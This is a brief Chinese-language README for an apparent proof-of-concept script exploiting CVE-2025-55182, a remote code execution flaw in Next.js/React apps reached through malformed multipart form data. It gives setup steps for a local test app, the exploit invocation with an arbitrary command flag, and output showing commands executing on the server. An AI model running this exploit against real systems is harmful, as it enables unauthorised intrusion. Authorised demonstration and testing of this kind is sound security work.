Python 3 脚本，可用于演示 CVE-2025-55182。它利用了 Next.js/React 应用程序中的服务器端 JavaScript 注入漏洞，通过格式错误的多部分表单数据实现远程代码执行。
⚠️ 仅用于教育和授权测试目的。
npx [email protected] sample-app --yes
cd sample app
npm run build
npm run start
pip install requests
python3 exploit_cve_2025_55182.py -u http://localhost:3000 -c "id"
-u 目标域名或IP（带协议） - http://localhost:3000 -c 要在服务器上执行的命令 - id
[+] Sending exploit to http://localhost:3000 with command: id
[+] Command Result:
uid=1000(app) gid=1000(app) groups=1000(app)